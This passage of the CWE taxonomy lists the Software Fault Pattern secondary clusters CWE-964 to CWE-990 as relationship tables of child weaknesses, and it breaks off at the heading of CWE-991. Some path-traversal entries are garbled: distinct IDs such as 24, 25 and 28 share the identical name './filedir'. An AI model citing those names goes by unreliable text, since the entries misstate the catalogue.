ParentOf	<b>B</b>	319	Cleartext Transmission of Sensitive Information	888	562
ParentOf	<b>B</b>	374	Passing Mutable Objects to an Untrusted Method	888	652
ParentOf	<b>B</b>	375	Returning a Mutable Object to an Untrusted Caller	888	654
ParentOf	<b>C</b>	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	888	697

Nature	Type	ID	Name	V	Page
ParentOf	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	888	697
ParentOf	V	433	Unparsed Raw Web Content Delivery	888	741
ParentOf	V	495	Private Array-Typed Field Returned From A Public Method	888	838
ParentOf	V	497	Exposure of System Data to an Unauthorized Control Sphere	888	840
ParentOf	V	498	Cloneable Class Containing Sensitive Information	888	842
ParentOf	V	499	Serializable Class Containing Sensitive Data	888	844
ParentOf	B	501	Trust Boundary Violation	888	846
ParentOf	B	522	Insufficiently Protected Credentials	888	862
ParentOf	V	523	Unprotected Transport of Credentials	888	865
ParentOf	V	526	Information Exposure Through Environmental Variables	888	868
ParentOf	V	527	Exposure of CVS Repository to an Unauthorized Control Sphere	888	868
ParentOf	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	888	869
ParentOf	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	888	870
ParentOf	V	530	Exposure of Backup File to an Unauthorized Control Sphere	888	870
ParentOf	V	532	Information Exposure Through Log Files	888	872
ParentOf	V	533	Information Exposure Through Server Log Files	888	873
ParentOf	V	534	Information Exposure Through Debug Log Files	888	874
ParentOf	V	535	Information Exposure Through Shell Error Message	888	874
ParentOf	V	536	Information Exposure Through Servlet Runtime Error Message	888	875
ParentOf	V	537	Information Exposure Through Java Runtime Error Message	888	876
ParentOf	B	538	File and Directory Information Exposure	888	877
ParentOf	V	539	Information Exposure Through Persistent Cookies	888	878
ParentOf	V	540	Information Exposure Through Source Code	888	879
ParentOf	V	541	Information Exposure Through Include Source Code	888	880
ParentOf	V	542	Information Exposure Through Cleanup Log Files	888	881
ParentOf	V	546	Suspicious Comment	888	885
ParentOf	V	548	Information Exposure Through Directory Listing	888	887
ParentOf	V	550	Information Exposure Through Server Error Message	888	888
ParentOf	B	552	Files or Directories Accessible to External Parties	888	889
ParentOf	V	555	J2EE Misconfiguration: Plaintext Password in Configuration File	888	892
ParentOf	V	591	Sensitive Data Storage in Improperly Locked Memory	888	932
ParentOf	V	598	Information Exposure Through Query Strings in GET Request	888	939
ParentOf	V	607	Public Static Final Field References Mutable Object	888	953
ParentOf	V	612	Information Exposure Through Indexing of Private Data	888	960
ParentOf	V	615	Information Exposure Through Comments	888	962
ParentOf	G	642	External Control of Critical State Data	888	993
ParentOf	G	668	Exposure of Resource to Wrong Sphere	888	1035
ParentOf	G	669	Incorrect Resource Transfer Between Spheres	888	1036
ParentOf	G	756	Missing Custom Error Page	888	1151
ParentOf	V	767	Access to Critical Private Variable via Public Method	888	1172

## CWE-964: SFP Secondary Cluster: Exposure Temporary File

Category ID: 964 (Category)

Status: Incomplete

Description

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	895	SFP Primary Cluster: Information Leak	888	1326
ParentOf	B	377	<i>Insecure Temporary File</i>	888	655
ParentOf	B	378	<i>Creation of Temporary File With Insecure Permissions</i>	888	658
ParentOf	B	379	<i>Creation of Temporary File in Directory with Incorrect Permissions</i>	888	659

## CWE-965: SFP Secondary Cluster: Insecure Session Management

Category ID: 965 (Category)

Status: Incomplete

**Description****Summary**

This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	895	SFP Primary Cluster: Information Leak	888	1326
ParentOf	V	6	<i>J2EE Misconfiguration: Insufficient Session-ID Length</i>	888	3
ParentOf	V	488	<i>Exposure of Data Element to Wrong Session</i>	888	823
ParentOf	V	524	<i>Information Exposure Through Caching</i>	888	866

## CWE-966: SFP Secondary Cluster: Other Exposures

Category ID: 966 (Category)

Status: Incomplete

**Description****Summary**

This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	895	SFP Primary Cluster: Information Leak	888	1326
ParentOf	B	453	<i>Insecure Default Variable Initialization</i>	888	766
ParentOf	C	485	<i>Insufficient Encapsulation</i>	888	819
ParentOf	V	487	<i>Reliance on Package-level Scope</i>	888	822
ParentOf	V	492	<i>Use of Inner Class Containing Sensitive Data</i>	888	827
ParentOf	V	525	<i>Information Exposure Through Browser Caching</i>	888	867
ParentOf	V	614	<i>Sensitive Cookie in HTTPS Session Without 'Secure' Attribute</i>	888	961
ParentOf	V	651	<i>Information Exposure Through WSDL File</i>	888	1008

## CWE-967: SFP Secondary Cluster: State Disclosure

Category ID: 967 (Category)

Status: Incomplete

**Description****Summary**

This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	895	SFP Primary Cluster: Information Leak	888	1326
ParentOf	V	202	<i>Exposure of Sensitive Data Through Data Queries</i>	888	389

Nature	Type	ID	Name	V	Page
ParentOf	C	203	Information Exposure Through Discrepancy	888	389
ParentOf	B	204	Response Discrepancy Information Exposure	888	392
ParentOf	B	205	Information Exposure Through Behavioral Discrepancy	888	394
ParentOf	V	206	Information Exposure of Internal State Through Behavioral Inconsistency	888	395
ParentOf	V	207	Information Exposure Through an External Behavioral Inconsistency	888	396
ParentOf	B	208	Information Exposure Through Timing Discrepancy	888	396

## CWE-968: SFP Secondary Cluster: Covert Channel

Category ID: 968 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	904	SFP Primary Cluster: Malware	888	1329
ParentOf	B	385	Covert Timing Channel	888	666
ParentOf	C	514	Covert Channel	888	858
ParentOf	B	515	Covert Storage Channel	888	858

## CWE-969: SFP Secondary Cluster: Faulty Memory Release

Category ID: 969 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	891	SFP Primary Cluster: Memory Management	888	1325
ParentOf	V	415	Double Free	888	716
ParentOf	V	590	Free of Memory not on the Heap	888	930
ParentOf	V	761	Free of Pointer not at Start of Buffer	888	1159
ParentOf	V	762	Mismatched Memory Management Routines	888	1162
ParentOf	B	763	Release of Invalid Pointer or Reference	888	1164

## CWE-970: SFP Secondary Cluster: Faulty Buffer Access

Category ID: 970 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	888	1324
ParentOf	C	118	Improper Access of Indexable Resource ('Range Error')	888	225
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	888	226
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	888	234
ParentOf	V	121	Stack-based Buffer Overflow	888	242
ParentOf	V	122	Heap-based Buffer Overflow	888	245



Nature	Type	ID	Name	V	Page
ParentOf	B	123	Write-what-where Condition	888	248
ParentOf	B	124	Buffer Underwrite ('Buffer Underflow')	888	250
ParentOf	B	125	Out-of-bounds Read	888	253
ParentOf	V	126	Buffer Over-read	888	254
ParentOf	V	127	Buffer Under-read	888	256
ParentOf	B	129	Improper Validation of Array Index	888	258

## CWE-971: SFP Secondary Cluster: Faulty Pointer Use

Category ID: 971 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	888	1324
ParentOf	B	469	Use of Pointer Subtraction to Determine Size	888	788
ParentOf	B	476	NULL Pointer Dereference	888	798
ParentOf	V	588	Attempt to Access Child of a Non-structure Pointer	888	928

## CWE-972: SFP Secondary Cluster: Faulty String Expansion

Category ID: 972 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	888	1324
ParentOf	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	888	1204

## CWE-973: SFP Secondary Cluster: Improper NULL Termination

Category ID: 973 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	888	1324
ParentOf	B	170	Improper Null Termination	888	328

## CWE-974: SFP Secondary Cluster: Incorrect Buffer Length Computation

Category ID: 974 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	888	1324
ParentOf	B	131	<i>Incorrect Calculation of Buffer Size</i>	888	269
ParentOf	B	135	<i>Incorrect Calculation of Multi-Byte String Length</i>	888	282
ParentOf	V	467	<i>Use of sizeof() on a Pointer Type</i>	888	784

## CWE-975: SFP Secondary Cluster: Architecture

Category ID: 975 (Category)

Status: Incomplete

#### Description

##### Summary

This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	907	SFP Primary Cluster: Other	888	1330
ParentOf	B	348	<i>Use of Less Trusted Source</i>	888	605
ParentOf	C	359	<i>Exposure of Private Information ('Privacy Violation')</i>	888	622
ParentOf	B	602	<i>Client-Side Enforcement of Server-Side Security</i>	888	947
ParentOf	C	637	<i>Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')</i>	888	985
ParentOf	B	649	<i>Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking</i>	888	1006
ParentOf	B	654	<i>Reliance on a Single Factor in a Security Decision</i>	888	1012
ParentOf	B	656	<i>Reliance on Security Through Obscurity</i>	888	1015
ParentOf	C	657	<i>Violation of Secure Design Principles</i>	888	1017
ParentOf	C	671	<i>Lack of Administrator Control over Security</i>	888	1038
ParentOf	C	693	<i>Protection Mechanism Failure</i>	888	1074
ParentOf	B	749	<i>Exposed Dangerous Method or Function</i>	888	1138

## CWE-976: SFP Secondary Cluster: Compiler

Category ID: 976 (Category)

Status: Incomplete

#### Description

##### Summary

This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	907	SFP Primary Cluster: Other	888	1330
ParentOf	B	733	<i>Compiler Optimization Removal or Modification of Security-critical Code</i>	888	1129

## CWE-977: SFP Secondary Cluster: Design

Category ID: 977 (Category)

Status: Incomplete

#### Description

##### Summary

This category identifies Software Fault Patterns (SFPs) within the Design cluster.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	907	SFP Primary Cluster: Other	888	1330
ParentOf	B	115	<i>Misinterpretation of Input</i>	888	217



Nature	Type	ID	Name	V	Page
ParentOf	B	187	Partial Comparison	888	357
ParentOf	B	188	Reliance on Data/Memory Layout	888	359
ParentOf	B	193	Off-by-one Error	888	371
ParentOf	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	888	607
ParentOf	C	405	Asymmetric Resource Consumption (Amplification)	888	703
ParentOf	B	406	Insufficient Control of Network Message Volume (Network Amplification)	888	704
ParentOf	B	407	Algorithmic Complexity	888	706
ParentOf	B	408	Incorrect Behavior Order: Early Amplification	888	707
ParentOf	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	888	708
ParentOf	B	410	Insufficient Resource Pool	888	709
ParentOf	B	430	Deployment of Wrong Handler	888	738
ParentOf	B	462	Duplicate Key in Associative List (Alist)	888	779
ParentOf	B	463	Deletion of Data Structure Sentinel	888	780
ParentOf	B	464	Addition of Data Structure Sentinel	888	781
ParentOf	B	480	Use of Incorrect Operator	888	809
ParentOf	V	483	Incorrect Block Delimitation	888	815
ParentOf	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	888	921
ParentOf	B	595	Comparison of Object References Instead of Object Contents	888	936
ParentOf	B	596	Incorrect Semantic Object Comparison	888	938
ParentOf	B	618	Exposed Unsafe ActiveX Method	888	966
ParentOf	B	648	Incorrect Use of Privileged APIs	888	1004
ParentOf	C	670	Always-Incorrect Control Flow Implementation	888	1037
ParentOf	C	682	Incorrect Calculation	888	1060
ParentOf	C	691	Insufficient Control Flow Management	888	1072
ParentOf	C	696	Incorrect Behavior Order	888	1077
ParentOf	C	697	Insufficient Comparison	888	1078
ParentOf	B	698	Execution After Redirect (EAR)	888	1079
ParentOf	C	705	Incorrect Control Flow Scoping	888	1105

## CWE-978: SFP Secondary Cluster: Implementation

Category ID: 978 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	907	SFP Primary Cluster: Other	888	1330
ParentOf	C	216	Containment Errors (Container Errors)	888	410
ParentOf	B	358	Improperly Implemented Security Check for Standard	888	621
ParentOf	C	398	Indicator of Poor Code Quality	888	684
ParentOf	V	623	Unsafe ActiveX Control Marked Safe For Scripting	888	971
ParentOf	C	710	Coding Standards Violation	888	1109

## CWE-979: SFP Secondary Cluster: Failed Chroot Jail

Category ID: 979 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	893	SFP Primary Cluster: Path Resolution	888	1325
ParentOf	V	243	Creation of chroot Jail Without Changing Working Directory	888	433

## CWE-980: SFP Secondary Cluster: Link in Resource Name Resolution

Category ID: 980 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	893	SFP Primary Cluster: Path Resolution	888	1325
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	888	91
ParentOf	V	62	UNIX Hard Link	888	96
ParentOf	V	64	Windows Shortcut Following (.LNK)	888	98
ParentOf	V	65	Windows Hard Link	888	100
ParentOf	V	71	Apple '.DS_Store'	888	106
ParentOf	B	386	Symbolic Name not Mapping to Correct Object	888	667
ParentOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	888	957

## CWE-981: SFP Secondary Cluster: Path Traversal

Category ID: 981 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	893	SFP Primary Cluster: Path Resolution	888	1325
ParentOf	C	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	888	30
ParentOf	B	23	Relative Path Traversal	888	40
ParentOf	V	24	Path Traversal: './filedir'	888	45
ParentOf	V	25	Path Traversal: './filedir'	888	46
ParentOf	V	26	Path Traversal: '/dir/./filename'	888	48
ParentOf	V	27	Path Traversal: 'dir/././filename'	888	49
ParentOf	V	28	Path Traversal: './filedir'	888	51
ParentOf	V	29	Path Traversal: './filename'	888	52
ParentOf	V	30	Path Traversal: 'dir./filename'	888	54
ParentOf	V	31	Path Traversal: 'dir/././filename'	888	55
ParentOf	V	32	Path Traversal: '...' (Triple Dot)	888	57
ParentOf	V	33	Path Traversal: '...' (Multiple Dot)	888	58
ParentOf	V	34	Path Traversal: '.../'	888	60
ParentOf	V	35	Path Traversal: '.../..'	888	62
ParentOf	B	36	Absolute Path Traversal	888	64
ParentOf	V	37	Path Traversal: '/absolute/pathname/here'	888	67
ParentOf	V	38	Path Traversal: 'absolute\pathname\here'	888	68

Nature	Type	ID	Name	V	Page
ParentOf	V	39	Path Traversal: 'C:dirname'	888	70
ParentOf	V	40	Path Traversal: '\\UNC\share\name\ (Windows UNC Share)	888	72
ParentOf	B	41	Improper Resolution of Path Equivalence	888	73
ParentOf	V	42	Path Equivalence: 'filename.' (Trailing Dot)	888	78
ParentOf	V	43	Path Equivalence: 'filename... ' (Multiple Trailing Dot)	888	79
ParentOf	V	44	Path Equivalence: 'file.name' (Internal Dot)	888	79
ParentOf	V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)	888	80
ParentOf	V	46	Path Equivalence: 'filename ' (Trailing Space)	888	80
ParentOf	V	47	Path Equivalence: ' filename' (Leading Space)	888	81
ParentOf	V	48	Path Equivalence: 'file name' (Internal Whitespace)	888	82
ParentOf	V	49	Path Equivalence: 'filename/' (Trailing Slash)	888	83
ParentOf	V	50	Path Equivalence: '//multiple/leading/slash'	888	83
ParentOf	V	51	Path Equivalence: '/multiple//internal/slash'	888	84
ParentOf	V	52	Path Equivalence: '/multiple/trailing/slash//'	888	85
ParentOf	V	53	Path Equivalence: '\multiple\internal\backslash'	888	86
ParentOf	V	54	Path Equivalence: 'filedir\' (Trailing Backslash)	888	86
ParentOf	V	55	Path Equivalence: './.' (Single Dot Directory)	888	87
ParentOf	V	56	Path Equivalence: 'filedir*' (Wildcard)	888	88
ParentOf	V	57	Path Equivalence: 'fakedir/./readdir/filename'	888	89
ParentOf	V	58	Path Equivalence: Windows 8.3 Filename	888	90
ParentOf	B	66	Improper Handling of File Names that Identify Virtual Resources	888	101
ParentOf	V	67	Improper Handling of Windows Device Names	888	103
ParentOf	V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path	888	107
ParentOf	G	73	External Control of File Name or Path	888	109
ParentOf	B	428	Unquoted Search Path or Element	888	736
ParentOf	G	706	Use of Incorrectly-Resolved Name or Reference	888	1106

## CWE-982: SFP Secondary Cluster: Failure to Release Resource

Category ID: 982 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	892	SFP Primary Cluster: Resource Management	888	1325
ParentOf	B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')	888	694
ParentOf	B	404	Improper Resource Shutdown or Release	888	699
ParentOf	B	459	Incomplete Cleanup	888	775
ParentOf	B	771	Missing Reference to Active Allocated Resource	888	1182
ParentOf	B	772	Missing Release of Resource after Effective Lifetime	888	1183
ParentOf	V	773	Missing Reference to Active File Descriptor or Handle	888	1187
ParentOf	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	888	1189

## CWE-983: SFP Secondary Cluster: Faulty Resource Use

Category ID: 983 (Category)

Status: Incomplete

**Description****Summary**

This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	892	SFP Primary Cluster: Resource Management	888	1325
ParentOf	B	416	Use After Free	888	719
ParentOf	B	672	Operation on a Resource after Expiration or Release	888	1039

**CWE-984: SFP Secondary Cluster: Life Cycle**

Category ID: 984 (Category)

Status: Incomplete

**Description****Summary**

This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	892	SFP Primary Cluster: Resource Management	888	1325
ParentOf	C	664	Improper Control of a Resource Through its Lifetime	888	1026
ParentOf	B	666	Operation on Resource in Wrong Phase of Lifetime	888	1031
ParentOf	C	675	Duplicate Operations on Resource	888	1043
ParentOf	B	694	Use of Multiple Resources with Duplicate Identifier	888	1076

**CWE-985: SFP Secondary Cluster: Unrestricted Consumption**

Category ID: 985 (Category)

Status: Incomplete

**Description****Summary**

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	892	SFP Primary Cluster: Resource Management	888	1325
ParentOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	888	688
ParentOf	B	674	Uncontrolled Recursion	888	1042
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	888	1175
ParentOf	V	774	Allocation of File Descriptors or Handles Without Limits or Throttling	888	1188

**CWE-986: SFP Secondary Cluster: Missing Lock**

Category ID: 986 (Category)

Status: Incomplete

**Description****Summary**

This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	894	SFP Primary Cluster: Synchronization	888	1325
ParentOf	B	364	Signal Handler Race Condition	888	635
ParentOf	B	365	Race Condition in Switch	888	639
ParentOf	B	366	Race Condition within a Thread	888	640
ParentOf	B	368	Context Switching Race Condition	888	645

Nature	Type	ID	Name	V	Page
ParentOf	B	413	Improper Resource Locking	888	713
ParentOf	B	414	Missing Lock Check	888	716
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	888	882
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	888	903
ParentOf	B	609	Double-Checked Locking	888	955
ParentOf	B	662	Improper Synchronization	888	1024
ParentOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	888	1025
ParentOf	B	667	Improper Locking	888	1032

## CWE-987: SFP Secondary Cluster: Multiple Locks/Unlocks

Category ID: 987 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	894	SFP Primary Cluster: Synchronization	888	1325
ParentOf	V	585	Empty Synchronized Block	888	925
ParentOf	V	764	Multiple Locks of a Critical Resource	888	1168
ParentOf	V	765	Multiple Unlocks of a Critical Resource	888	1169

## CWE-988: SFP Secondary Cluster: Race Condition Window

Category ID: 988 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	894	SFP Primary Cluster: Synchronization	888	1325
ParentOf	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	888	627
ParentOf	B	363	Race Condition Enabling Link Following	888	633
ParentOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	888	642
ParentOf	B	370	Missing Check for Certificate Revocation after Initial Check	888	649
ParentOf	G	638	Not Using Complete Mediation	888	986

## CWE-989: SFP Secondary Cluster: Unrestricted Lock

Category ID: 989 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	894	SFP Primary Cluster: Synchronization	888	1325
ParentOf	B	412	Unrestricted Externally Accessible Lock	888	711



# CWE-990: SFP Secondary Cluster: Tainted Input to Command

Category ID: 990 (Category)

Status: Incomplete

## Description

### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>C</b>	896	SFP Primary Cluster: Tainted Input	<b>888</b>	1326
ParentOf	<b>G</b>	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	<b>888</b>	113
ParentOf	<b>G</b>	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	<b>888</b>	116
ParentOf	<b>B</b>	76	Improper Neutralization of Equivalent Special Elements	<b>888</b>	116
ParentOf	<b>C</b>	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	<b>888</b>	117
ParentOf	<b>B</b>	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	<b>888</b>	121
ParentOf	<b>B</b>	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	<b>888</b>	131
ParentOf	<b>V</b>	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	<b>888</b>	142
ParentOf	<b>V</b>	81	Improper Neutralization of Script in an Error Message Web Page	<b>888</b>	144
ParentOf	<b>V</b>	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page	<b>888</b>	146
ParentOf	<b>V</b>	83	Improper Neutralization of Script in Attributes in a Web Page	<b>888</b>	147
ParentOf	<b>V</b>	84	Improper Neutralization of Encoded URI Schemes in a Web Page	<b>888</b>	149
ParentOf	<b>V</b>	85	Doubled Character XSS Manipulations	<b>888</b>	151
ParentOf	<b>V</b>	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	<b>888</b>	152
ParentOf	<b>V</b>	87	Improper Neutralization of Alternate XSS Syntax	<b>888</b>	154
ParentOf	<b>B</b>	88	Argument Injection or Modification	<b>888</b>	155
ParentOf	<b>B</b>	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	<b>888</b>	159
ParentOf	<b>B</b>	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	<b>888</b>	169
ParentOf	<b>B</b>	91	XML Injection (aka Blind XPath Injection)	<b>888</b>	170
ParentOf	<b>B</b>	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	<b>888</b>	172
ParentOf	<b>B</b>	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	<b>888</b>	177
ParentOf	<b>B</b>	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	<b>888</b>	181
ParentOf	<b>V</b>	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	<b>888</b>	183
ParentOf	<b>B</b>	99	Improper Control of Resource Identifiers ('Resource Injection')	<b>888</b>	190
ParentOf	<b>C</b>	100	Technology-Specific Input Validation Problems	<b>888</b>	192
ParentOf	<b>V</b>	102	Struts: Duplicate Validation Forms	<b>888</b>	193
ParentOf	<b>V</b>	103	Struts: Incomplete validate() Method Definition	<b>888</b>	194
ParentOf	<b>V</b>	104	Struts: Form Bean Does Not Extend Validation Class	<b>888</b>	196
ParentOf	<b>V</b>	105	Struts: Form Field Without Validator	<b>888</b>	198
ParentOf	<b>V</b>	106	Struts: Plug-in Framework not in Use	<b>888</b>	200

Nature	Type	ID	Name	V	Page
ParentOf	V	107	Struts: Unused Validation Form	888	202
ParentOf	V	108	Struts: Unvalidated Action Form	888	204
ParentOf	V	109	Struts: Validator Turned Off	888	205
ParentOf	V	110	Struts: Validator Without Form Field	888	206
ParentOf	B	112	Missing XML Validation	888	210
ParentOf	B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	888	211
ParentOf	V	130	Improper Handling of Length Parameter Inconsistency	888	266
ParentOf	B	134	Uncontrolled Format String	888	277
ParentOf	C	138	Improper Neutralization of Special Elements	888	285
ParentOf	B	140	Improper Neutralization of Delimiters	888	287
ParentOf	V	141	Improper Neutralization of Parameter/Argument Delimiters	888	289
ParentOf	V	142	Improper Neutralization of Value Delimiters	888	290
ParentOf	V	143	Improper Neutralization of Record Delimiters	888	291
ParentOf	V	144	Improper Neutralization of Line Delimiters	888	293
ParentOf	V	145	Improper Neutralization of Section Delimiters	888	294
ParentOf	V	146	Improper Neutralization of Expression/Command Delimiters	888	296
ParentOf	V	147	Improper Neutralization of Input Terminators	888	297
ParentOf	V	148	Improper Neutralization of Input Leaders	888	298
ParentOf	V	149	Improper Neutralization of Quoting Syntax	888	299
ParentOf	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	888	301
ParentOf	V	151	Improper Neutralization of Comment Delimiters	888	302
ParentOf	V	152	Improper Neutralization of Macro Symbols	888	304
ParentOf	V	153	Improper Neutralization of Substitution Characters	888	305
ParentOf	V	154	Improper Neutralization of Variable Name Delimiters	888	307
ParentOf	V	155	Improper Neutralization of Wildcards or Matching Symbols	888	308
ParentOf	V	156	Improper Neutralization of Whitespace	888	309
ParentOf	V	157	Failure to Sanitize Paired Delimiters	888	311
ParentOf	V	158	Improper Neutralization of Null Byte or NUL Character	888	312
ParentOf	C	159	Failure to Sanitize Special Element	888	314
ParentOf	V	160	Improper Neutralization of Leading Special Elements	888	316
ParentOf	V	161	Improper Neutralization of Multiple Leading Special Elements	888	317
ParentOf	V	162	Improper Neutralization of Trailing Special Elements	888	319
ParentOf	V	163	Improper Neutralization of Multiple Trailing Special Elements	888	320
ParentOf	V	164	Improper Neutralization of Internal Special Elements	888	321
ParentOf	V	165	Improper Neutralization of Multiple Internal Special Elements	888	323
ParentOf	B	183	Permissive Whitelist	888	352
ParentOf	B	184	Incomplete Blacklist	888	352
ParentOf	C	185	Incorrect Regular Expression	888	355
ParentOf	B	186	Overly Restrictive Regular Expression	888	356
ParentOf	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	888	756
ParentOf	V	553	Command Shell in Externally Accessible Directory	888	890
ParentOf	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	888	891
ParentOf	V	564	SQL Injection: Hibernate	888	900
ParentOf	V	601	URL Redirection to Untrusted Site ('Open Redirect')	888	942
ParentOf	V	611	Improper Restriction of XML External Entity Reference ('XXE')	888	958
ParentOf	B	619	Dangling Database Cursor ('Cursor Injection')	888	966
ParentOf	B	621	Variable Extraction Error	888	969



Nature	Type	ID	Name	V	Page
ParentOf	B	624	Executable Regular Expression Error	888	972
ParentOf	B	625	Permissive Regular Expression	888	973
ParentOf	V	626	Null Byte Interaction Error (Poison Null Byte)	888	974
ParentOf	B	627	Dynamic Variable Evaluation	888	975
ParentOf	B	641	Improper Restriction of Names for Files and Other Resources	888	991
ParentOf	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	888	998
ParentOf	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	888	999
ParentOf	V	646	Reliance on File Name or Extension of Externally-Supplied File	888	1002
ParentOf	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	888	1009
ParentOf	C	707	Improper Enforcement of Message or Data Structure	888	1107

## CWE-991: SFP Secondary Cluster: Tainted Input to Environment

Category ID: 991 (Category)

Status: Incomplete

### Description

